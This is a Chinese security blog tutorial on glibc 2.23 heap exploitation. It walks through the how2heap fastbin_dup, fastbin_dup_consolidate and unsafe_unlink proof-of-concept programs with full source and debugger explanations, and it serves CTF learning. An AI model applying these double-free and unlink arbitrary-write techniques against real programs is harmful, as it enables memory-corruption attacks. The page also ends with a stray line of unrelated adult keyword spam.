<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    深入理解how2heap_2.23

    VSole2023-09-25 10:35:41

    例題

    fast bin attack

    例題1:0CTF2017:babyheap(https://www.52pojie.cn/thread-1817311-1-1.html)

    unsafe unlink

    例題2:HITCON CTF 2016 : Secret Holdr(https://www.52pojie.cn//thread-1820017-1-1.html)

    例題3:HITCON CTF 2016 : SleepyHolder(https://www.52pojie.cn/thread-1825577-1-1.html)

    fastbin_dup

    源碼

    #include <stdio.h>
    #include <stdlib.h>
    #include <assert.h>
    int main()
    {
        fprintf(stderr, "This file demonstrates a simple double-free attack with fastbins.\n");
        fprintf(stderr, "Allocating 3 buffers.\n");
        int *a = malloc(8);
        int *b = malloc(8);
        int *c = malloc(8);
        fprintf(stderr, "1st malloc(8): %p\n", a);
        fprintf(stderr, "2nd malloc(8): %p\n", b);
        fprintf(stderr, "3rd malloc(8): %p\n", c);
        fprintf(stderr, "Freeing the first one...\n");
        free(a);
        fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
        // free(a);
        fprintf(stderr, "So, instead, we'll free %p.\n", b);
        free(b);
        fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
        free(a);
        fprintf(stderr, "Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
        a = malloc(8);
        b = malloc(8);
        c = malloc(8);
        fprintf(stderr, "1st malloc(8): %p\n", a);
        fprintf(stderr, "2nd malloc(8): %p\n", b);
        fprintf(stderr, "3rd malloc(8): %p\n", c);
        assert(a == c);
    }
    

    使用ubuntu:16.04編譯。

    然后使用pwncli修改運行環境。

    malloc三次相同大小的堆塊后,在0x400700下斷點。

    觀察堆結構。

    依次釋放堆塊a,b后,在0x4007CF下斷點。

    觀察fastbin結構。

    再次釋放a,形成double free后,在0x4007F8下斷點。

    觀察fastbin結構,已經形成ABA結構。

    此時依次申請a,b,c三個相應大小的堆塊,將會依次摘出a,b,a,

    fastbin中a->b->a->b...這條鏈子會一直存在,不斷從頭部取出相應大小的堆塊。

    申請a后,在0x400835下斷點(rax保存了_malloc函數的返回值)。

    此時fastbin結構,形成了BAB結構。

    同樣,申請完b后在0x400843下斷點。

    此時fastbin結構,又形成了ABA結構。

    同樣申請完c后在0x400851下斷點。

    此時fastbin結構,再次形成BAB結構。

    此時a和c指向同一地址。

    fastbin_dup_consolidate

    源碼

    #include <stdio.h>
    #include <stdlib.h>
    #include <assert.h>
    void main() {
        // reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8
        puts("This is a powerful technique that bypasses the double free check in tcachebin.");
        printf("Fill up the tcache list to force the fastbin usage...\n");
        void* p1 = calloc(1,0x40);
        printf("Allocate another chunk of the same size p1=%p \n", p1);
        printf("Freeing p1 will add this chunk to the fastbin list...\n\n");
        free(p1);
        void* p3 = malloc(0x400);
        printf("Allocating a tcache-sized chunk (p3=%p)\n", p3);
        printf("will trigger the malloc_consolidate and merge\n");
        printf("the fastbin chunks into the top chunk, thus\n");
        printf("p1 and p3 are now pointing to the same chunk !\n\n");
        assert(p1 == p3);
        printf("Triggering the double free vulnerability!\n\n");
        free(p1);
        void *p4 = malloc(0x400);
        assert(p4 == p3);
        printf("The double free added the chunk referenced by p1 \n");
        printf("to the tcache thus the next similar-size malloc will\n");
        printf("point to p3: p3=%p, p4=%p\n\n",p3, p4);
    }
    使用ubuntu:16.04編譯并使用pwncli改寫rpath。
    

    calloc p1堆塊后,在0x4006C5處下斷點。

    查看堆結構, 可以看到多出來一塊0x411大小的堆塊。

    這個堆塊是puts的緩沖區。puts函數用于將字符串輸出到標準輸出流(stdout),而標準輸出流是一個文件流,需要在內存中分配一塊緩沖區來存儲輸出的字符串,下圖是其分配過程。

    free(p1)后,p1會優先進入fastbins。

    再次申請0x400(實際大小為0x410)的chunk。

    在gdb里s步入調試,可以看到觸發了malloc_consolidate機制。原因如下,因為libc再分配large chunk時,fastbin中有p1這個chunk存在,所以會調用malloc_consolidate()函數整合fastbins中的chunk,并放入unsorted bin或top_chunk;然后unsorted bin中的chunk又會被取出放入各自對應的bins。(這個bins為small bin和large bin。這也是chunk唯一進入small bin和large bin的機會)。

    malloc_consolidate()函數執行完以后,因為p1與top_chunk相鄰,所以p1被合并到了top_chunk。top_chunk的基址也變成了p1的prev_size的地址。

    然后malloc函數會從top_chunk獲取chunk,那么p1的地址就已經和p3指向同一塊地址了。

    此時再次free(p1),在0x40076c處下斷點。

    由于p1和p3指向同一個大小為0x411的chunk,而這個chunk又和top_chunk相鄰,所以會再次被合并到top_chunk。

    如果這個時候,我們再次申請一個chunk,在0x40077A處下斷點。

    那么這個chunk的地址還會與p1 && p3的地址一樣。

    至此p1,p3,p4指向了同一塊chunk。

    unsafe_unlink


    源碼

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <stdint.h>
    #include <assert.h>
    uint64_t *chunk0_ptr;
    int main()
    {
        setbuf(stdout, NULL);
        printf("Welcome to unsafe unlink 2.0!\n");
        printf("Tested in Ubuntu 14.04/16.04 64bit.\n");
        printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
        printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");
        int malloc_size = 0x80; //we want to be big enough not to use fastbins
        int header_size = 2;
        printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");
        chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
        uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1
        printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
        printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);
        printf("We create a fake chunk inside chunk0.\n");
        printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
        chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
        printf("We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
        printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n");
        chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
        printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
        printf("Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);
        printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
        uint64_t *chunk1_hdr = chunk1_ptr - header_size;
        printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
        printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
        chunk1_hdr[0] = malloc_size;
        printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
        printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n");
        chunk1_hdr[1] &= ~1;
        printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
        printf("You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n");
        free(chunk1_ptr);
        printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
        char victim_string[8];
        strcpy(victim_string,"Hello!~");
        chunk0_ptr[3] = (uint64_t) victim_string;
        printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
        printf("Original value: %s\n",victim_string);
        chunk0_ptr[0] = 0x4141414142424242LL;
        printf("New Value: %s\n",victim_string);
        // sanity check
        assert(*(long *)victim_string == 0x4141414142424242L);
    }
    


    當然,其實chunk0_ptr并不一定是一個全局指針。以下代碼在glibc2.23依然起作用。

    #include<stdio.h>
    #include<stdlib.h>
    #include<stdint.h>
     
    int main(){
        int malloc_size = 0x80;
        uint64_t* ptr0 = (uint64_t*)malloc(malloc_size);
        uint64_t* ptr1 = (uint64_t*)malloc(malloc_size);
        ptr0[2] = (uint64_t)&ptr0 - 3*sizeof(uint64_t);
        ptr0[3] = (uint64_t)&ptr0 - 2*sizeof(uint64_t);
     
        uint64_t* ptr1_head = (uint64_t)ptr1 - 2*sizeof(uint64_t);
        ptr1_head[0] = malloc_size;
        ptr1_head[1] &= ~1;
        free(ptr1);
        char victim[10] = "hello";
        ptr0[3]=(uint64_t)victim;
        ptr0[0] = 0x4141414141;
        printf("%s\n",victim);
        return 0;
     
    }
    使用ubuntu:16.04編譯并使用第一個源碼pwncli改寫rpath。
    


    簡單介紹一下unlink,CTF Wiki(https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/unlink/)里有介紹,簡單總結如下:

    1,首先找到要進行unlink的chunk(這里記為P)的前后堆塊,
       FD = P->fd, BK = P->bk。
    2,進行安全檢查,glibc2.23的潦草判斷條件如下
       FD->bk == P, BK->fd == P。
    3,然后執行FD->bk=BK, BK->fd=FD。
    4,當某個non-fast大小的chunk被釋放時,就會根據PREV_INUSE位檢查其前后堆塊是否處于釋放狀態,如果是就會將前面或后面的堆塊取出并與當前堆塊合并。取出前面或后面的堆塊P的過程就是unlink。
    


    首先申請兩塊smallbin_chunk。

    為了繞過unlink檢查,這里將全局的chunk0_ptr+0x10(chunk0_ptr[2])處的內容改為chunk0_ptr-0x18的地址,注意這里chunk0_ptr[2]指向的是全局變量的地址。

    同樣,接下來將chunk0_ptr[3]的內容改為chunk0_ptr-0x10的地址。

    chunk0_ptr位置在bss節。

    此時chunk0的堆結構。可以看到chunk0_ptr指向chunk0_fd(0x603010)的位置。chunk0_fd_nextsize和chunk0_bk_nextsize已被修改為全局變量(bss節)處的地址。

    用圖來表示如下:

    接下來cdqe指令將EAX寄存器中的DWORD(32 位值)符號擴展為RAX寄存器中的 QWORD(64 位值)。然后利用shl指令邏輯左移三位,再利用neg指令求補。最后也就是將chunk1_hdr的內容改為chunk1_ptr-2(chunk1_prev_size)的地址。

    接下來將chunk1_hdr[0]改為0x80大小,也就是chunk1的prev_size位變為0x80。

    然后利用and指令(與運算有零則零)把chunk1_hdr+1也就是chunk1_size的PREV_INUSE位改為0。

    現在堆結構如圖。因為chunk_prev_size=0x80,所以P_chunk如下:

    然后把chunk1給free()掉因為其PREV_INUSE為0,又是small bin大小,觸發unlink,要將P這個fake chunk摘除。

    那么此時FD=P->FD和BK=P->bk,FD->bk == P, BK->fd == P。可以能夠看到成功繞過glibc2.23檢查。注意,我畫的時候是根據布局畫的,堆由低向高地址增長(由高向低畫),bss由低向高畫的。

    接下來執行 兩步操作 FD->bk=BK, BK->fd=FD。FD和BK只相差0x8字節大小。第一步會把chunk0_ptr指向低0x10字節處(0x602068),第二步把chunk0_ptr指向低0x18字節處(0x602060),最終chunk0_ptr指向了0x602060處。chunk0_ptr = 0x602060,我們向chunk0_ptr寫入內容時就會從0x602060開始向高地址寫,我們發現,寫到高0x18時,寫到了我們保存寫入地址指針的地址,這個地址(chunk0_ptr的物理地址0x602078)存儲的地址(0x602060)就是我們開始寫的地址,也就是chunk0_ptr指向的地址。

    可以看到,chunk0_ptr指向的地址由*chunk0_ptr-0x18保存,修改*chunk0_ptr-0x18存儲的地址(0x602060),也就修改了寫入的起始地址,也就是chunk0_ptr指向的地址,我們會從這個新地址重新開始寫,也就達到了任意地址寫的效果。這只是其中一種用法,建議看例題來加深理解。

    我們也可以通過從0x602060開始向高地址覆蓋,覆蓋到0x602078處時,修改這里保存的地址,然后下次寫時就會從修改的這個新地址開始寫入。

    printffd
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    目前絕大部分app都會頻繁的使用syscall去獲取設備指紋和做一些反調試,使用常規方式過反調試已經非常困難了,使用內存搜索svc指令已經不能滿足需求了,開始學習了一下通過ptrace/ptrace配合seccomp來解決svc反調試難定位難繞過等問題。seccompLinux 2.6.12中的導入了第一個版本的seccomp,通過向/proc/PID/seccomp接口中寫入“1”來啟動通過濾器只支持幾個函數。BPF程序由一組BPF指令組成,可以在系統調用執行之前對其進行檢查,以決定是否允許執行該系統調用。
    SCTF中一道linux kernel pwn的出題思路及利用方法,附賽后復盤
    Kernel PWN從入門到提升
    2023-03-23 10:17:57
    所以我決定用此文章結合一道不錯的例題盡可能詳細的來講一下kernel pwn從入門過渡到較高難度的部分,供想要學習kernel pwn的小伙伴們參考。文件系統kernel題一般都會給出一個打包好的文件系統,因此需要掌握常用到的打包/解包命令。
    能運行的環境包括I/O,權限控制,系統調用,進程管理,內存管理等多項功能都可以歸結到上邊兩點中。需要注意的是,kernel 的crash 通常會引起重啟。注意大多數的現代操作系統只使用了 Ring 0 和 Ring 3。
    BPF之路二(e)BPF匯編
    2021-12-28 16:18:32
    原始的BPF又稱之為class BPF(cBPF), BPF與eBPF類似于i386與amd64的關系
    深入理解how2heap_2.23
    2023-09-25 10:35:41
    例題1:0CTF2017:babyheap(https://www.52pojie.cn/thread-1817311-1-1.html)
    希望能通過這篇文章讓大家對最近qemu逃逸題目學習有一點幫助。
    PWN 堆利用 unlink 學習筆記
    在我們學習c語言的時候我們就知道在輸出或者輸入的時候需要使用%s%d等等格式化字符,此處不過多介紹,詳情可以去看看c語言的基礎知識。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类